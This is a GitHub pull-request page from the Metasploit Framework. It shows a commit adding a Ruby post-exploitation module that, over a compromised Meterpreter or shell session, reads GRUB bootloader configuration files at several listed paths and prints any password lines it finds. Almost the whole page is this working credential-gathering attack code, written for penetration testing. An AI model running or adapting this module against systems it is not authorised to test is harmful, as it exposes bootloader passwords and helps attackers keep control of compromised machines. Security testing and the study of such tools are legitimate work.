Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Enhance grub_creds module with improvements from grub_password module in #11426 #12505

Merged
merged 16 commits into from Oct 29, 2019
Merged
Changes from 1 commit
Commits
File filter...
Filter file types
Jump to…
Jump to file or symbol
Failed to load files and symbols.

Always

Just for now

Next

Add *nix Gather Grub Password module

  • Loading branch information
dgarvit committed Feb 17, 2019
commit 22340ab2c118646d84baf77874c0ae609fa97834
@@ -0,0 +1,61 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
super(update_info(info,
'Name' => '*nix Gather Grub Password',
'Description' => %q{
This module gathers grub passwords from grub bootloader config file.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Garvit Dewan <d.garvit[at]gmail.com>' # @dgarvit
],
'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'],
'SessionTypes' => ['meterpreter', 'shell'],
'References' => [
['URL', 'https://help.ubuntu.com/community/Grub2/Passwords#Password_Encryption']
]
))
end

def run
targets = [
'/boot/grub/grub.conf',
'/boot/grub/grub.cfg',
'/etc/grub.conf',
'/etc/grub/grub.cfg',
'/etc/grub.d/00_header',
'/mnt/sysimage/boot/grub.conf',
'/mnt/boot/grub/grub.conf',
'/rpool/boot/grub/grub.cfg'
]

targets.each do |target|
if file? target
print_status("Reading #{target}")
file = read_file(target)
lines = file.split("\n")
found = false
lines.each do |line|
line = line.strip
if line.start_with?("password")
print_line(line)
found = true
end
end

if !found
print_status("No password found in config file")
end
end
end
end
end
ProTip! Use n and p to navigate between commits in a pull request.
You can’t perform that action at this time.